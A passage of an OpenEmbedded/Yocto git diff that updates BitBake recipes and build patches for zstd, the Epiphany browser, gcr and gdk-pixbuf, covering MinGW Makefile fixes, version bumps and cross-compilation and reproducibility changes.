+- $(CC) $(FLAGS) $^ -o $@$(EXT) $(LDFLAGS)
++zstd-nolegacy$(EXT) : LDFLAGS += $(THREAD_LD) $(ZLIBLD) $(LZMALD) $(LZ4LD) $(DEBUGFLAGS_LD)
++zstd-nolegacy$(EXT) : $(ZSTDLIB_CORE_SRC) $(ZDICT_SRC) $(ZSTD_CLI_OBJ)
++ $(CC) $(FLAGS) $^ -o $@ $(LDFLAGS)
+
+ .PHONY: zstd-nomt
+ zstd-nomt : THREAD_CPP :=
+ zstd-nomt : THREAD_LD :=
+ zstd-nomt : THREAD_MSG := - multi-threading disabled
+-zstd-nomt : zstd
++zstd-nomt : zstd$(EXT)
+
+ .PHONY: zstd-nogz
+ zstd-nogz : ZLIBCPP :=
+ zstd-nogz : ZLIBLD :=
+ zstd-nogz : ZLIB_MSG := - gzip support is disabled
+-zstd-nogz : zstd
++zstd-nogz : zstd$(EXT)
+
+ .PHONY: zstd-noxz
+ zstd-noxz : LZMACPP :=
+ zstd-noxz : LZMALD :=
+ zstd-noxz : LZMA_MSG := - xz/lzma support is disabled
+-zstd-noxz : zstd
++zstd-noxz : zstd$(EXT)
+
+ ## zstd-dll: zstd executable linked to dynamic library libzstd (must have same version)
+ .PHONY: zstd-dll
+ zstd-dll : LDFLAGS+= -L$(ZSTDDIR)
+ zstd-dll : LDLIBS += -lzstd
+ zstd-dll : ZSTDLIB_LOCAL_SRC = xxhash.c
+-zstd-dll : zstd
++zstd-dll : zstd$(EXT)
+
+
+ ## zstd-pgo: zstd executable optimized with PGO.
+@@ -321,23 +321,23 @@ zstd-pgo :
+ $(MAKE) zstd MOREFLAGS=-fprofile-use
+
+ ## zstd-small: minimal target, supporting only zstd compression and decompression. no bench. no legacy. no other format.
+-zstd-small: CFLAGS = -Os -s
+-zstd-frugal zstd-small: $(ZSTDLIB_CORE_SRC) zstdcli.c util.c timefn.c fileio.c
+- $(CC) $(FLAGS) -DZSTD_NOBENCH -DZSTD_NODICT -DZSTD_NOTRACE $^ -o $@$(EXT)
++zstd-small$(EXT): CFLAGS = -Os -s
++zstd-frugal$(EXT) zstd-small$(EXT): $(ZSTDLIB_CORE_SRC) zstdcli.c util.c timefn.c fileio.c
++ $(CC) $(FLAGS) -DZSTD_NOBENCH -DZSTD_NODICT -DZSTD_NOTRACE $^ -o $@
+
+-zstd-decompress: $(ZSTDLIB_COMMON_C) $(ZSTDLIB_DECOMPRESS_C) zstdcli.c util.c timefn.c fileio.c
+- $(CC) $(FLAGS) -DZSTD_NOBENCH -DZSTD_NODICT -DZSTD_NOCOMPRESS -DZSTD_NOTRACE $^ -o $@$(EXT)
++zstd-decompress$(EXT): $(ZSTDLIB_COMMON_C) $(ZSTDLIB_DECOMPRESS_C) zstdcli.c util.c timefn.c fileio.c
++ $(CC) $(FLAGS) -DZSTD_NOBENCH -DZSTD_NODICT -DZSTD_NOCOMPRESS -DZSTD_NOTRACE $^ -o $@
+
+-zstd-compress: $(ZSTDLIB_COMMON_C) $(ZSTDLIB_COMPRESS_C) zstdcli.c util.c timefn.c fileio.c
+- $(CC) $(FLAGS) -DZSTD_NOBENCH -DZSTD_NODICT -DZSTD_NODECOMPRESS -DZSTD_NOTRACE $^ -o $@$(EXT)
++zstd-compress$(EXT): $(ZSTDLIB_COMMON_C) $(ZSTDLIB_COMPRESS_C) zstdcli.c util.c timefn.c fileio.c
++ $(CC) $(FLAGS) -DZSTD_NOBENCH -DZSTD_NODICT -DZSTD_NODECOMPRESS -DZSTD_NOTRACE $^ -o $@
+
+ ## zstd-dictBuilder: executable supporting dictionary creation and compression (only)
+-zstd-dictBuilder: CPPFLAGS += -DZSTD_NOBENCH -DZSTD_NODECOMPRESS -DZSTD_NOTRACE
+-zstd-dictBuilder: $(ZSTDLIB_COMMON_C) $(ZSTDLIB_COMPRESS_C) $(ZDICT_SRC) zstdcli.c util.c timefn.c fileio.c dibio.c
+- $(CC) $(FLAGS) $^ -o $@$(EXT)
++zstd-dictBuilder$(EXT): CPPFLAGS += -DZSTD_NOBENCH -DZSTD_NODECOMPRESS -DZSTD_NOTRACE
++zstd-dictBuilder$(EXT): $(ZSTDLIB_COMMON_C) $(ZSTDLIB_COMPRESS_C) $(ZDICT_SRC) zstdcli.c util.c timefn.c fileio.c dibio.c
++ $(CC) $(FLAGS) $^ -o $@
+
+-zstdmt: zstd
+- ln -sf zstd zstdmt
++zstdmt$(EXT): zstd$(EXT)
++ ln -sf zstd$(EXT) zstdmt$(EXT)
+
+ .PHONY: generate_res
+ generate_res: $(RES64_FILE) $(RES32_FILE)
+--
+2.31.1
+
diff --git a/meta/recipes-extended/zstd/zstd_1.5.0.bb b/meta/recipes-extended/zstd/zstd_1.5.0.bb
new file mode 100644
index 0000000000..51305d0562
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd_1.5.0.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Zstandard - Fast real-time compression algorithm"
+DESCRIPTION = "Zstandard is a fast lossless compression algorithm, targeting \
+real-time compression scenarios at zlib-level and better compression ratios. \
+It's backed by a very fast entropy stage, provided by Huff0 and FSE library."
+HOMEPAGE = "http://www.zstd.net/"
+SECTION = "console/utils"
+
+LICENSE = "BSD-3-Clause & GPLv2"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c7f0b161edbe52f5f345a3d1311d0b32 \
+ file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0"
+
+SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https \
+ file://0001-Makefile-sort-all-wildcard-file-list-expansions.patch \
+ file://0001-MinGW-Build-Fixes.patch \
+ "
+
+SRCREV = "a488ba114ec17ea1054b9057c26a046fc122b3b6"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+CVE_PRODUCT = "zstandard"
+
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lz4] = "HAVE_LZ4=1,HAVE_LZ4=0,lz4"
+PACKAGECONFIG[lzma] = "HAVE_LZMA=1,HAVE_LZMA=0,xz"
+PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib"
+
+# See programs/README.md for how to use this
+ZSTD_LEGACY_SUPPORT ??= "4"
+
+do_compile () {
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT}
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+ oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/epiphany/epiphany_3.38.1.bb b/meta/recipes-gnome/epiphany/epiphany_3.38.1.bb
deleted file mode 100644
index f9daa8bfe2..0000000000
--- a/meta/recipes-gnome/epiphany/epiphany_3.38.1.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "WebKit based web browser for GNOME"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/epiphany"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS = "libsoup-2.4 webkitgtk gtk+3 iso-codes avahi libnotify gcr \
- gsettings-desktop-schemas libxml2-native \
- glib-2.0 glib-2.0-native json-glib libdazzle libhandy libportal"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gsettings features_check upstream-version-is-even gettext mime-xdg
-REQUIRED_DISTRO_FEATURES = "x11 opengl"
-
-SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@gnome_verdir("${PV}")}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive \
- file://0002-help-meson.build-disable-the-use-of-yelp.patch \
- "
-SRC_URI[archive.sha256sum] = "59b7576acb11fbb52eaca6dbf6fce28664de5c915ca2580c47f0b08ba83d2843"
-
-FILES_${PN} += "${datadir}/dbus-1 ${datadir}/gnome-shell/search-providers ${datadir}/metainfo"
-RDEPENDS_${PN} = "iso-codes adwaita-icon-theme gsettings-desktop-schemas"
diff --git a/meta/recipes-gnome/epiphany/epiphany_41.0.bb b/meta/recipes-gnome/epiphany/epiphany_41.0.bb
new file mode 100644
index 0000000000..8f3bd87340
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/epiphany_41.0.bb
@@ -0,0 +1,42 @@
+SUMMARY = "WebKit based web browser for GNOME"
+DESCRIPTION = "Epiphany is an open source web browser for the Linux desktop environment. \
+It provides a simple and easy-to-use internet browsing experience."
+HOMEPAGE = "https://wiki.gnome.org/Apps/Web"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/epiphany"
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+DEPENDS = " \
+ webkitgtk \
+ gcr \
+ gsettings-desktop-schemas \
+ nettle \
+ json-glib \
+ libarchive \
+ libdazzle \
+ libhandy \
+ libportal \
+ glib-2.0-native \
+ "
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase gsettings features_check gettext mime-xdg
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+SRC_URI = "${GNOME_MIRROR}/${GNOMEBN}/${@oe.utils.trim_version("${PV}", 1)}/${GNOMEBN}-${PV}.tar.${GNOME_COMPRESS_TYPE};name=archive \
+ file://0002-help-meson.build-disable-the-use-of-yelp.patch \
+ file://migrator.patch \
+ file://distributor.patch \
+ "
+SRC_URI[archive.sha256sum] = "b39d1825492595b0b74c5d6a6686a857f9419dfa4c02f8013c297bc870e26dd0"
+
+PACKAGECONFIG_SOUP ?= "soup2"
+PACKAGECONFIG ??= "${PACKAGECONFIG_SOUP}"
+
+# Developer mode enables debugging
+PACKAGECONFIG[developer-mode] = "-Ddeveloper_mode=true,-Ddeveloper_mode=false"
+PACKAGECONFIG[soup2] = "-Dsoup2=enabled,-Dsoup2=disabled,libsoup-2.4,,,soup3"
+PACKAGECONFIG[soup3] = ",,libsoup,,,soup2"
+
+FILES:${PN} += "${datadir}/dbus-1 ${datadir}/gnome-shell/search-providers ${datadir}/metainfo"
+RDEPENDS:${PN} = "iso-codes adwaita-icon-theme gsettings-desktop-schemas"
diff --git a/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch b/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
index 118b5d1825..a6c4f92c86 100644
--- a/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
+++ b/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
@@ -1,4 +1,4 @@
-From 3725c254f1d1d8204fa299e71c1e2bfd0ff6a634 Mon Sep 17 00:00:00 2001
+From 77c9f87dc2b3ad0854a678e234e22dfb31902b82 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 31 Jan 2018 15:50:38 +0200
Subject: [PATCH] help/meson.build: disable the use of yelp
@@ -13,11 +13,11 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/help/meson.build b/help/meson.build
-index 484860c..d9b2e80 100644
+index ff324dd..f5e421d 100644
--- a/help/meson.build
+++ b/help/meson.build
-@@ -32,7 +32,7 @@ help_media = [
- 'media/epiphany-private-3-36.png'
+@@ -31,7 +31,7 @@ help_media = [
+ 'media/org.gnome.Epiphany.svg'
]
-gnome.yelp(meson.project_name(),
diff --git a/meta/recipes-gnome/epiphany/files/distributor.patch b/meta/recipes-gnome/epiphany/files/distributor.patch
new file mode 100644
index 0000000000..b09c9b38d2
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/files/distributor.patch
@@ -0,0 +1,17 @@
+Don't encode the distro from /etc/os-release into the binaries.
+
+Upstream-Status: Pending
+RP 2021/2/26
+
+Index: epiphany-3.38.2/meson.build
+===================================================================
+--- epiphany-3.38.2.orig/meson.build
++++ epiphany-3.38.2/meson.build
+@@ -15,6 +15,7 @@ if r.returncode() == 0
+ else
+ distributor_name = 'GNOME Web'
+ endif
++distributor_name = 'OpenEmbedded'
+
+ prefix = get_option('prefix')
+ datadir = join_paths(prefix, get_option('datadir'))
diff --git a/meta/recipes-gnome/epiphany/files/migrator.patch b/meta/recipes-gnome/epiphany/files/migrator.patch
new file mode 100644
index 0000000000..a9a650a64a
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/files/migrator.patch
@@ -0,0 +1,24 @@
+We don't want to encide BUILD_ROOT into target packages. This is used
+for build time tests but in our case those would be on target anyway
+do use the target paths.
+
+Upstream-Status: Pending
+RP 2021/2/25
+
+Index: epiphany-3.38.2/lib/ephy-profile-utils.c
+===================================================================
+--- epiphany-3.38.2.orig/lib/ephy-profile-utils.c
++++ epiphany-3.38.2/lib/ephy-profile-utils.c
+@@ -130,10 +130,10 @@ ephy_profile_utils_do_migration (const c
+ argv[i++] = NULL;
+
+ #if DEVELOPER_MODE
+- argv[0] = BUILD_ROOT "/src/" EPHY_PROFILE_MIGRATOR;
++ argv[0] = PKGLIBEXECDIR "/" EPHY_PROFILE_MIGRATOR;
+ #else
+ if (debug)
+- argv[0] = BUILD_ROOT "/src/" EPHY_PROFILE_MIGRATOR;
++ argv[0] = PKGLIBEXECDIR "/" EPHY_PROFILE_MIGRATOR;
+ #endif
+
+ g_spawn_sync (NULL, (char **)argv, envp, G_SPAWN_SEARCH_PATH,
diff --git a/meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch b/meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch
new file mode 100644
index 0000000000..81c4bdbbcc
--- /dev/null
+++ b/meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch
@@ -0,0 +1,37 @@
+From cb3708bad88e713e4ccf705cb8c14c5996cd9d06 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Fri, 23 Apr 2021 16:32:38 +0800
+Subject: [PATCH] gcr/meson.build: fix one parallel build failure
+
+ui/gcr-live-search.c includes gcr/gcr-marshal.h. Because missing
+dependency, following error occurred intermittently during doing parallel
+build:
+
+ -o ui/libgcr-ui-3.so.1.0.0.p/gcr-live-search.c.o -c ../gcr-3.38.1/ui/gcr-live-search.c
+../gcr-3.38.1/ui/gcr-live-search.c:32:10: fatal error: gcr/gcr-marshal.h: No such file or directory
+ 32 | #include "gcr/gcr-marshal.h"
+ | ^~~~~~~~~~~~~~~~~~~
+compilation terminated.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gcr/-/merge_requests/68/diffs]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ gcr/meson.build | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/gcr/meson.build b/gcr/meson.build
+index 06c3a63..d9d4b8f 100644
+--- a/gcr/meson.build
++++ b/gcr/meson.build
+@@ -181,6 +181,7 @@ gcr_base_dep = declare_dependency(
+ sources: [
+ gcr_enums_gen[1],
+ gcr_oids[1],
++ gcr_marshal_gen[1],
+ ],
+ )
+
+--
+2.17.1
+
diff --git a/meta/recipes-gnome/gcr/gcr_3.38.0.bb b/meta/recipes-gnome/gcr/gcr_3.38.0.bb
deleted file mode 100644
index 49e8f1848b..0000000000
--- a/meta/recipes-gnome/gcr/gcr_3.38.0.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "A library for bits of crypto UI and parsing etc"
-DESCRIPTION = "GCR is a library for displaying certificates, and crypto UI, \
-accessing key stores. It also provides the viewer for crypto files on the \
-GNOME desktop."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/gcr"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gcr/issues"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
-
-DEPENDS = "gtk+3 p11-kit glib-2.0 libgcrypt gnupg-native \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'libxslt-native', '', d)}"
-
-GNOMEBASEBUILDCLASS = "meson"
-GTKDOC_MESON_OPTION = "gtk_doc"
-inherit gnomebase gtk-icon-cache gtk-doc features_check upstream-version-is-even vala gobject-introspection gettext mime mime-xdg
-# depends on gtk+3, but also x11 through gtk+-x11
-REQUIRED_DISTRO_FEATURES = "x11"
-
-SRC_URI[archive.sha256sum] = "a64cc7b65757fc2cd16de1708d132a16d05cd1f62c6eba436d56fe45d4ba27e1"
-
-FILES_${PN} += " \
- ${datadir}/dbus-1 \
- ${datadir}/gcr-3 \
-"
-
-# http://errors.yoctoproject.org/Errors/Details/20229/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-gnome/gcr/gcr_3.40.0.bb b/meta/recipes-gnome/gcr/gcr_3.40.0.bb
new file mode 100644
index 0000000000..a05e753ee9
--- /dev/null
+++ b/meta/recipes-gnome/gcr/gcr_3.40.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "A library for bits of crypto UI and parsing etc"
+DESCRIPTION = "GCR is a library for displaying certificates, and crypto UI, \
+accessing key stores. It also provides the viewer for crypto files on the \
+GNOME desktop."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/gcr"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gcr/issues"
+
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
+
+DEPENDS = "p11-kit glib-2.0 libgcrypt gnupg-native \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'libxslt-native', '', d)}"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_GPG='gpg2'"
+
+GNOMEBASEBUILDCLASS = "meson"
+GTKDOC_MESON_OPTION = "gtk_doc"
+inherit gnomebase gtk-icon-cache gtk-doc features_check upstream-version-is-even vala gobject-introspection gettext mime mime-xdg
+
+SRC_URI += "file://0001-gcr-meson.build-fix-one-parallel-build-failure.patch"
+
+SRC_URI[archive.sha256sum] = "b9d3645a5fd953a54285cc64d4fc046736463dbd4dcc25caf5c7b59bed3027f5"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gtk', '', d)}"
+PACKAGECONFIG[gtk] = "-Dgtk=true,-Dgtk=false,gtk+3"
+
+FILES:${PN} += " \
+ ${datadir}/dbus-1 \
+ ${datadir}/gcr-3 \
+"
+
+# http://errors.yoctoproject.org/Errors/Details/20229/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+EXTRA_OEMESON += "--cross-file ${WORKDIR}/meson-${PN}.cross"
+do_write_config:append() {
+ cat >${WORKDIR}/meson-${PN}.cross <<EOF
+[binaries]
+gpg2 = '${bindir}/gpg2'
+EOF
+}
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch
new file mode 100644
index 0000000000..a8206a4507
--- /dev/null
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch
@@ -0,0 +1,171 @@
+From ba73bb0f3d2023839bc3b681c49b7ec1192cceb4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sat, 8 May 2021 21:58:54 +0200
+Subject: [PATCH] Add use_prebuilt_tools option
+
+This allows using the gdk-pixbuf tools from the host to
+build and install tests in a cross-compile scenarion.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/merge_requests/119]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ gdk-pixbuf/meson.build | 11 +++++++++--
+ meson.build | 6 +++---
+ meson_options.txt | 4 ++++
+ tests/meson.build | 16 ++++++++--------
+ thumbnailer/meson.build | 24 ++++++++++++++++++------
+ 5 files changed, 42 insertions(+), 19 deletions(-)
+
+diff --git a/gdk-pixbuf/meson.build b/gdk-pixbuf/meson.build
+index 8b0590b..7331491 100644
+--- a/gdk-pixbuf/meson.build
++++ b/gdk-pixbuf/meson.build
+@@ -342,13 +342,20 @@ foreach bin: gdkpixbuf_bin
+ include_directories: [ root_inc, gdk_pixbuf_inc ],
+ c_args: common_cflags + gdk_pixbuf_cflags,
+ install: true)
+- meson.override_find_program(bin_name, bin)
++ if not get_option('use_prebuilt_tools')
++ meson.override_find_program(bin_name, bin)
++ endif
+
+ # Used in tests
+ set_variable(bin_name.underscorify(), bin)
+ endforeach
+
+-if not meson.is_cross_build()
++if get_option('use_prebuilt_tools')
++ gdk_pixbuf_query_loaders = find_program('gdk-pixbuf-query-loaders', required: true)
++ gdk_pixbuf_pixdata = find_program('gdk-pixbuf-pixdata', required: true)
++endif
++
++if not meson.is_cross_build() or get_option('use_prebuilt_tools')
+ # The 'loaders.cache' used for testing, so we don't accidentally
+ # load the installed cache; we always build it by default
+ loaders_cache = custom_target('loaders.cache',
+diff --git a/meson.build b/meson.build
+index 7a1409b..0bc73eb 100644
+--- a/meson.build
++++ b/meson.build
+@@ -403,16 +403,16 @@ subdir('gdk-pixbuf')
+ # i18n
+ subdir('po')
+
+-if not meson.is_cross_build()
++if not meson.is_cross_build() or get_option('use_prebuilt_tools')
+ subdir('tests')
+- subdir('thumbnailer')
+ endif
++subdir('thumbnailer')
+
+ # Documentation
+ build_docs = get_option('gtk_doc') or get_option('docs')
+ subdir('docs')
+
+-if not meson.is_cross_build()
++if not meson.is_cross_build() or get_option('use_prebuilt_tools')
+ meson.add_install_script('build-aux/post-install.py',
+ gdk_pixbuf_bindir,
+ gdk_pixbuf_libdir,
+diff --git a/meson_options.txt b/meson_options.txt
+index 0ee6718..cc29855 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -49,4 +49,8 @@ option('gio_sniffing',
+ description: 'Perform file type detection using GIO (Unused on MacOS and Windows)',
+ type: 'boolean',
+ value: true)
++option('use_prebuilt_tools',
++ description: 'Use prebuilt gdk-pixbuf tools from the host for cross-compilation',
++ type: 'boolean',
++ value: false)
+
+diff --git a/tests/meson.build b/tests/meson.build
+index 7c6cb11..1029e6a 100644
+--- a/tests/meson.build
++++ b/tests/meson.build
+@@ -5,6 +5,12 @@
+ # $PATH. Ideally we should use gnome.compile_resources() and let Meson deal with
+ # this problem: See https://github.com/mesonbuild/meson/issues/8266.
+ if enabled_loaders.contains('png') and host_system != 'windows'
++
++ resources_deps = [loaders_cache,]
++ if not get_option('use_prebuilt_tools')
++ resources_deps += [gdk_pixbuf_pixdata,]
++ endif
++
+ # Resources; we cannot use gnome.compile_resources() here, because we need to
+ # override the environment in order to use the utilities we just built instead
+ # of the system ones
+@@ -21,10 +27,7 @@ if enabled_loaders.contains('png') and host_system != 'windows'
+ '@INPUT@',
+ '@OUTPUT@',
+ ],
+- depends: [
+- gdk_pixbuf_pixdata,
+- loaders_cache,
+- ],
++ depends: resources_deps,
+ )
+
+ resources_h = custom_target('resources.h',
+@@ -40,10 +43,7 @@ if enabled_loaders.contains('png') and host_system != 'windows'
+ '@INPUT@',
+ '@OUTPUT@',
+ ],
+- depends: [
+- gdk_pixbuf_pixdata,
+- loaders_cache,
+- ],
++ depends: resources_deps,
+ )
+ no_resources = false
+ else
+diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
+index b6a206d..9336c21 100644
+--- a/thumbnailer/meson.build
++++ b/thumbnailer/meson.build
+@@ -6,13 +6,29 @@ bin = executable('gdk-pixbuf-thumbnailer',
+ ],
+ dependencies: gdk_pixbuf_deps + [ gdkpixbuf_dep ],
+ install: true)
+-meson.override_find_program('gdk-pixbuf-thumbnailer', bin)
++if not get_option('use_prebuilt_tools')
++ meson.override_find_program('gdk-pixbuf-thumbnailer', bin)
++endif
+
+ gdk_pixbuf_print_mime_types = executable('gdk-pixbuf-print-mime-types',
+ 'gdk-pixbuf-print-mime-types.c',
++ install: true,
+ c_args: common_cflags,
+ dependencies: gdk_pixbuf_deps + [ gdkpixbuf_dep ])
+
++if get_option('use_prebuilt_tools')
++ gdk_pixbuf_print_mime_types = find_program('gdk-pixbuf-print-mime-types', required: true)
++endif
++
++thumbnailer_deps = [loaders_cache,]
++
++if not get_option('use_prebuilt_tools')
++ thumbnailer_deps += [
++ gdk_pixbuf_print_mime_types,
++ gdk_pixbuf_pixdata,
++ ]
++endif
++
+ custom_target('thumbnailer',
+ input: 'gdk-pixbuf-thumbnailer.thumbnailer.in',
+ output: 'gdk-pixbuf-thumbnailer.thumbnailer',
+@@ -25,10 +41,6 @@ custom_target('thumbnailer',
+ '@INPUT@',
+ '@OUTPUT@',
+ ],
+- depends: [
+- gdk_pixbuf_print_mime_types,
+- gdk_pixbuf_pixdata,
+- loaders_cache,
+- ],
++ depends: thumbnailer_deps,
+ install: true,
+ install_dir: join_paths(gdk_pixbuf_datadir, 'thumbnailers'))
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch
deleted file mode 100644
index e461404918..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From be8a47e0c21e5577d4f5669d339dfec6299b25be Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 14 Feb 2019 18:06:25 +0100
-Subject: [PATCH] Generate loaders.cache using a native tool when
- cross-compiling
-
-Otherwise meson would attempt to run a target binary.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- gdk-pixbuf/meson.build | 12 ++++++++++--
- 1 file changed, 10 insertions(+), 2 deletions(-)
-
-diff --git a/gdk-pixbuf/meson.build b/gdk-pixbuf/meson.build
-index 5cddbec..78c8bd3 100644
---- a/gdk-pixbuf/meson.build
-+++ b/gdk-pixbuf/meson.build
-@@ -324,8 +324,16 @@ if not meson.is_cross_build()
- build_by_default: true)
- loaders_dep = declare_dependency(sources: [ loaders_cache ])
- else
-- loaders_cache = []
-- loaders_dep = declare_dependency()
-+ loaders_cache = custom_target('loaders.cache',
-+ output: 'loaders.cache',
-+ capture: true,
-+ command: [
-+ 'gdk-pixbuf-query-loaders',
-+ dynamic_loaders,
-+ ],
-+ depends: dynamic_loaders_dep,
-+ build_by_default: true)
-+ loaders_dep = declare_dependency(sources: [ loaders_cache ])
- endif
-
- pkgconfig = import('pkgconfig')
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch
deleted file mode 100644
index 110b32a490..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 8c7ced988def52654946458a3779e383b27f14f7 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 14 Feb 2019 17:56:10 +0100
-Subject: [PATCH] Work-around thumbnailer cross-compile failure
-
-Install gdk-pixbuf-print-mime-types that's needed for thumbnail
-metadata generation.
-
-The upstream issue is https://bugzilla.gnome.org/show_bug.cgi?id=779057
-
-Upstream-Status: Inappropriate [workaround]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- thumbnailer/meson.build | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
-index e801144..aaafec8 100644
---- a/thumbnailer/meson.build
-+++ b/thumbnailer/meson.build
-@@ -10,6 +10,7 @@ executable('gdk-pixbuf-thumbnailer',
- gdk_pixbuf_print_mime_types = executable('gdk-pixbuf-print-mime-types',
- 'gdk-pixbuf-print-mime-types.c',
- c_args: common_cflags,
-+ install: true,
- dependencies: gdk_pixbuf_deps + [ gdkpixbuf_dep ])
-
- custom_target('thumbnailer',
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch
deleted file mode 100644
index a9c7600eb3..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch
+++ /dev/null
@@ -1,94 +0,0 @@
-From 2d1b65bd1272ad63b7fbd4babd9a8e8c296d15b5 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 22 Feb 2019 13:22:06 +0100
-Subject: [PATCH] (target only) Work-around thumbnailer and pixdata
- cross-compile failure
-
-Use native gdk-pixbuf-print-mime-types and gdk-pixbuf-pixdata
-when generating the thumbnail metadata and resources.
-
